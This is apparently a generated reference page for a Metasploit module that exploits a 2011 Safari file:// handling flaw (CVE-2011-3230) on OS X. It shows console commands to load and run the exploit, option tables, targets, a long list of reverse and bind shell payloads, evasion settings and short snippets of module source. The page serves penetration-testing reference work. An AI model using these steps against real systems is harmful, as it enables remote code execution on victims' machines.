Apple Safari file:// Arbitrary Code Execution - Metasploit


This page contains detailed information about how to use the exploit/osx/browser/safari_file_policy metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apple Safari file:// Arbitrary Code Execution
Module: exploit/osx/browser/safari_file_policy
Source code: modules/exploits/osx/browser/safari_file_policy.rb
Disclosure date: 2011-10-12
Last modification time: 2021-02-08 14:51:58 +0000
Supported architecture(s): cmd, java
Supported platform(s): Java, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2011-3230

This module exploits a vulnerability found in Apple Safari on OS X platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a file format that OS X might automount), and then execute it in /Volumes/[share]. If there's some kind of bug that leaks the victim machine's current username, then it's also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/osx/browser/safari_file_policy
msf exploit(safari_file_policy) > show targets
    ... a list of targets ...
msf exploit(safari_file_policy) > set TARGET target-id
msf exploit(safari_file_policy) > show options
    ... show and set options ...
msf exploit(safari_file_policy) > exploit

Go back to menu.

Msfconsole Usage


Here is how the osx/browser/safari_file_policy exploit module looks in the msfconsole:

msf6 > use exploit/osx/browser/safari_file_policy

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_file_policy) > show info

       Name: Apple Safari file:// Arbitrary Code Execution
     Module: exploit/osx/browser/safari_file_policy
   Platform: Java, OSX, Unix
       Arch: cmd, java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-10-12

Provided by:
  Aaron Sigel
  sinn3r <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Safari 5.1 on OS X
  1   Safari 5.1 on OS X with Java

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  HTTPPORT  80               yes       The HTTP server port
  PASVPORT  0                no        The local PASV data port to listen on (0 is random)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   21               yes       The local port to use for the FTP server (Do not change)
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:
  Avoid: 0 characters

Description:
  This module exploits a vulnerability found in Apple Safari on OS X 
  platform. A policy issue in the handling of file:// URLs may allow 
  arbitrary remote code execution under the context of the user. In 
  order to trigger arbitrary remote code execution, the best way seems 
  to be opening a share on the victim machine first (this can be 
  SMB/WebDav/FTP, or a file format that OS X might automount), and 
  then execute it in /Volumes/[share]. If there's some kind of bug 
  that leaks the victim machine's current username, then it's also 
  possible to execute the payload in /Users/[username]/Downloads/, or 
  else bruteforce your way to getting that information. Please note 
  that non-java payloads (*.sh extension) might get launched by Xcode 
  instead of executing it, in that case please try the Java ones 
  instead.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2011-3230
  OSVDB (76389)
  http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments
  http://support.apple.com/kb/HT5000

Module Options


This is a complete list of options available in the osx/browser/safari_file_policy exploit:

msf6 exploit(osx/browser/safari_file_policy) > show options

Module options (exploit/osx/browser/safari_file_policy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   HTTPPORT  80               yes       The HTTP server port
   PASVPORT  0                no        The local PASV data port to listen on (0 is random)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   21               yes       The local port to use for the FTP server (Do not change)
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Safari 5.1 on OS X

Advanced Options


Here is a complete list of advanced options supported by the osx/browser/safari_file_policy exploit:

msf6 exploit(osx/browser/safari_file_policy) > show advanced

Module advanced options (exploit/osx/browser/safari_file_policy):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (java/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AESPassword                                   no        Password for encrypting communication
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   JavaMeterpreterDebug         false            no        Run the payload in debug mode, with logging enabled
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   Spawn                        2                yes       Number of subprocesses to spawn
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the osx/browser/safari_file_policy module can exploit:

msf6 exploit(osx/browser/safari_file_policy) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Safari 5.1 on OS X
   1   Safari 5.1 on OS X with Java

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_file_policy exploit:

msf6 exploit(osx/browser/safari_file_policy) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   21  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   22  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   23  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   24  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   25  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   26  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   27  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   28  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   29  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   30  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   31  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   32  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   33  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   34  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   35  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   36  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   37  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   38  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   39  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   40  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   41  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   42  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   43  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   44  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   45  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   46  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   47  payload/generic/custom                                       normal  No     Custom Payload
   48  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   49  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   50  payload/java/jsp_shell_bind_tcp                              normal  No     Java JSP Command Shell, Bind TCP Inline
   51  payload/java/jsp_shell_reverse_tcp                           normal  No     Java JSP Command Shell, Reverse TCP Inline
   52  payload/java/meterpreter/bind_tcp                            normal  No     Java Meterpreter, Java Bind TCP Stager
   53  payload/java/meterpreter/reverse_http                        normal  No     Java Meterpreter, Java Reverse HTTP Stager
   54  payload/java/meterpreter/reverse_https                       normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   55  payload/java/meterpreter/reverse_tcp                         normal  No     Java Meterpreter, Java Reverse TCP Stager
   56  payload/java/shell/bind_tcp                                  normal  No     Command Shell, Java Bind TCP Stager
   57  payload/java/shell/reverse_tcp                               normal  No     Command Shell, Java Reverse TCP Stager
   58  payload/java/shell_reverse_tcp                               normal  No     Java Command Shell, Reverse TCP Inline
   59  payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   60  payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the osx/browser/safari_file_policy exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/browser/safari_file_policy) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

zlib support was not detected, yet the HTTP::compression option was set. Don't do that!


Here is a relevant code snippet related to the "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" error message:

252:	  # exception is only raised if the DisableGzip advanced option has not been
253:	  # set.
254:	  #
255:	  def use_zlib
256:	    if !Rex::Text.zlib_present? && datastore['HTTP::compression']
257:	      fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
258:	    end
259:	  end
260:	
261:	
262:	  #

Unsupported target: <AGENT>


Here is a relevant code snippet related to the "Unsupported target: <AGENT>" error message:

275:	  #
276:	  def on_request_uri(cli, request)
277:	    agent = request.headers['User-Agent']
278:	
279:	    if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
280:	      print_error("Unsupported target: #{agent}")
281:	      send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
282:	      return
283:	    end
284:	
285:	    html = <<-HTML

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Aaron Sigel
  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.